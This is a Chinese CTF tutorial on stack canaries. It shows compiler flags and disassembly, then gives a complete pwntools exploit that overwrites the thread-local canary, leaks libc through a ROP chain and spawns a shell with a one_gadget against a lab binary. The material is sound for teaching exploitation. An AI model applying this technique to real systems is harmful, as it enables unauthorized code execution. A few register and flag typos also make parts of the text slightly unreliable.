Pwn专题(1)——安全机制Stack Canaries

0x00 前言

在介绍PWN之前,先说一下CTF(网络安全领域的比赛),它起源于1996年DEFCON全球黑客大会,最初的目的是进行技术的比拼。慢慢的演变为全球范围的网络安全圈流行的竞赛形式。其实CTF也可以理解为“考试”,既然是考试那么它必定会有科目之分,CTF的科目有web、Reverse、Misc、Crypto、Pwn等。这里我们先单拿出Pwn题来介绍。

Pwn(谐音:胖)是黑客语法的俚语词,是指攻破设备或系统。Pwn题需要掌握逆向技术。根据我做Pwn题经验来看,几乎所有的Pwn题的解题思路都遵循以下四个步骤

  1. 收集题目信息(读题)
  2. 查看程序开启了哪些安全机制(了解题目考察的知识点)
  3. 使用逆向工具对题目进行分析(解答题目)
  4. 编写exp(自己测试题目是否解答正确)

0x01 简介

关于第一步收集题目信息部分这里不做过多介绍,直接进入到第二步查看程序开启的安全机制

下图是在做pwn题经常会看到的界面

checksec后面紧跟题目名称,可以查看当前题目开启的安全机制

0x02 Stack

使用checksec命令后发现程序没有开启栈保护,这里就可以考虑使用栈溢出的方法来做题了

0x03 Canary

首先来看一个简单的例子来了解什么是Canary

使用GCC来对下面的代码进行编译
gcc  -fno-stack-protector  hello.c  -o  hello.out
“-fno-stack-protector”      //关闭栈保护
#include<stdio.h>
int main()
{
char buf[10];
scanf(“%s”,buf);
return 0;
}

编译完成后我们来看一下程序的反汇编代码

接着使用“gcc -fstack-protector hello.c -o open.out”开启栈保护,然后再来看程序的反汇编代码

红框中代码大概意思如下

mov rax,QWORD PTR fs:0x28       //取一个随机数给rax
mov QWORD PTR [rbp-0x8],rax      //把随机数存入到rbp-0x8的位置

mov rdx,QWORD PTR [rdp-0x8]  //读取随机数给rdx
xor rdx,QWORD PTR fs:0x28      //又从栈上取出随机数,于第一次读取到的随机数进行异或
je 0x11b5 //判断两个值是否相等
call 0x1060 //不相等则执行函数

从上面的代码中我们可以知道开启stack保护后,系统会添加上面的代码,关键点在最后判断两个值是否相等。那么会有两种思路

  1. 提前知道Canary的值然后再栈溢出时覆盖上去
  2. 同时修改这两个值为我们设置的值

0x04 实战

使用下面命令对程序进行编译(c文件可以联系作者领取)

gcc  -fstack-protector-strong  -s -pthread  -no-pie  eg.c -o pwn1 -W1,-z,now,-z,relro

运行程序观察程序特征

使用checksec命令观察程序开启的保护机制

使用IDA进行静态分析。进入主函数没有发现异常函数

查看线程函数在下图红框处有可疑操作

进入0x4012AB函数,果然发现了栈溢出。这里的read函数最多可以读入0x10000字节,但是缓冲区的大小只有0x1000

最后开始编写exp

from pwn import *

context.log_level = ‘debug’

io = process(“./pwn1”)
elf = ELF(“pwn1”)
libc = ELF(“/lib/x86_64-linux-gnu/libc.so.6”)

pop_rdi = 0x401583
pop_rsi_r15 = 0x401581
leave_ret = 0x40133d

bss_addr = 0x604010

payload = ‘\x00’*0x1008
payload += ‘\x11’*0x8
payload += p64(bss_addr-0x8)
payload += p64(pop_rdi) + p64(elf.got[‘puts’])
payload += p64(elf.plt[‘puts’])
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(bss_addr) + p64(0)
payload += p64(elf.plt[‘read’])
payload += p64(leave_ret)
payload = payload.ljust(0x17e8, ‘\x00’)
payload += ‘\x11’*0x8
payload = payload.ljust(0x2000, ‘\x00’)

io.sendlineafter(“send?\n”, str(0x2000))
io.send(payload)

io.recvuntil(“goodbye.\n”)
libc_base = u64(io.recv(6).ljust(8, “\x00”)) – libc.symbols[‘puts’]
one_gadget = libc_base + 0xf1147
log.info(“libc address: 0x%x” % libc_base)
log.info(“one-gadget: 0x%x” % one_gadget)
#raw_input(‘###’)

io.send(p64(one_gadget))
io.interactive()